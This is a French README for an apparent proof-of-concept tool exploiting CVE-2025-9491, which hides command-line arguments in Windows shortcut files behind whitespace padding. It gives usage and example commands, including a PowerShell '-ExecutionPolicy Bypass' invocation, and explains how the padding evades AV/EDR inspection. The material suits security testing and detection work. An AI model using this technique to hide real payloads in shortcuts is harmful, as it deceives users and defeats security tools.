
Preuve de concept de la CVE-2025-9491 utilisant des caractères invisibles dans les arguments d'un fichier raccourci Windows (.lnk)
Un outil de preuve de concept pour démontrer la vulnérabilité des fichiers raccourcis Windows (LNK) (ZDI-CAN-25373/CVE-2025-9491). Cet outil montre comment des arguments de ligne de commande malveillants peuvent être cachés dans des fichiers .lnk en exploitant un remplissage par caractères d'espacement.
Cet outil est fourni à des fins éducatives et de tests de sécurité autorisés uniquement. L'accès non autorisé à des systèmes informatiques est illégal. Utilisez cet outil uniquement sur des systèmes dont vous êtes propriétaire ou pour lesquels vous avez une autorisation explicite de test.
Il s'agit d'un outil de preuve de concept pour créer et manipuler des fichiers .lnk (raccourcis) Windows afin de démontrer la vulnérabilité CVE-2025-9491. L'outil permet aux utilisateurs de :
La vulnérabilité exploite la manière dont Windows affiche les propriétés des fichiers raccourcis, permettant aux attaquants de masquer des arguments de ligne de commande malveillants aux utilisateurs qui inspectent le raccourci.
CVE-2025-9491 est une vulnérabilité de fausse représentation de l'interface utilisateur Windows affectant les fichiers .lnk (raccourcis). Elle a été découverte par le Zero Day Initiative de Trend Micro (ZDI-CAN-25373) et a été exploitée par des groupes APT parrainés par des États depuis au moins 2017 (consultez la section Crédits pour plus de détails).
La vulnérabilité exploite le champ "Cible" de taille fixe de l'interface utilisateur des raccourcis Windows. En remplissant les arguments avec des caractères d'espacement (espace, tabulation, saut de ligne, retour chariot), un acteur malveillant peut : masquer des commandes malveillantes et exécuter des charges utiles cachées. Cela peut également être utilisé pour contourner la détection, car les utilisateurs inspectant le raccourci ne voient que le remplissage d'espaces, pas la commande réelle ; l'EDR aura une ligne de commande extrêmement longue dans la télémétrie, et si elle est suffisamment longue, les EPP ou AV courants abandonneront sa lecture complète.
Python 3.7 ou supérieur est requis.
Clonez ou téléchargez le dépôt :
git clone https://github.com/amperlcock/CVE-2025-9491_POC.git
cd CVE-2025-9491_POC
Installez les dépendances :
Méthode rapide et sale, un venv est préférable.
pip install -r requirements.txt
Exécutez l'outil :
python main.py --help
L'outil dispose de trois modes principaux : create, obfuscate, et parse.
Crée un nouveau fichier LNK obfusqué à partir de zéro.
Syntaxe :
python main.py create -t CIBLE -a ARGUMENTS -o SORTIE [options]
Arguments obligatoires :
-t, --target - Chemin vers le fichier exécutable cible-a, --arguments - Arguments à passer à l'exécutable cible-o, --output - Destination du fichier LNK de sortieArguments optionnels :
-c, --charset - Jeu de caractères personnalisé pour le remplissage (format HEX)
20,09,0A,0B,0C,0D (espace, tabulation, LF, VT, FF, CR)-s, --padding_size - Nombre de caractères de remplissage
128 (aucune limite connue)-p, --pattern_type - Style de motif de remplissage
-i, --icon - Chemin vers une icône personnalisée pour le raccourci
-d, --description - Description visible pour le raccourci
-v, --verbose - Activer les sorties détaillées
Exemple :
python main.py create -t C:\Windows\System32\cmd.exe -a "/c whoami" -o sortie.lnk -s 256 -v
Ajoute un remplissage aux arguments d'un fichier LNK existant.
Syntaxe :
python main.py obfuscate -i ENTREE -o SORTIE [options]
Arguments obligatoires :
-i, --input - Chemin vers le fichier LNK existant à obfusquer-o, --output - Destination du fichier LNK de sortieArguments optionnels :
-c, --charset - Jeu de caractères personnalisé pour le remplissage (format HEX)
20,09,0A,0B,0C,0D-s, --padding_size - Nombre de caractères de remplissage
128-p, --pattern_type - Style de motif de remplissage
-v, --verbose - Activer les sorties détaillées
Exemple :
python main.py obfuscate -i benin.lnk -o obfusque.lnk -s 256 -p 3 -v
Affiche le contenu d'un fichier LNK existant.
Syntaxe :
python main.py parse -i ENTREE
Arguments obligatoires :
-i, --input - Chemin vers le fichier LNK à analyser et afficherExemple :
python main.py parse -i sortie.lnk
python main.py create \
-t "cmd.exe" \
-a "/c powershell -Command Get-Process" \
-o malveillant.lnk \
-s 200 \
-p 1 \
-v
Ceci crée un raccourci vers cmd.exe avec une commande PowerShell cachée précédée de 200 caractères de remplissage aléatoire.
python main.py obfuscate \
-i "legitime.lnk" \
-o "obfusque.lnk" \
-s 512 \
-c "20,09,0A" \
-p 2
Ceci ajoute 512 caractères de remplissage mono-motif (utilisant espace et tabulation) à un raccourci existant.
python main.py parse -i "suspect.lnk"
La sortie affiche toutes les propriétés, y compris les arguments cachés.
python main.py create \
-t "powershell.exe" \
-a "-NoProfile -ExecutionPolicy Bypass -Command 'Get-ChildItem'" \
-o sortie.lnk \
-c "20,09,0A,0B,0C,0D" \
-s 1024 \
-p 3 \
-d "Mon Document"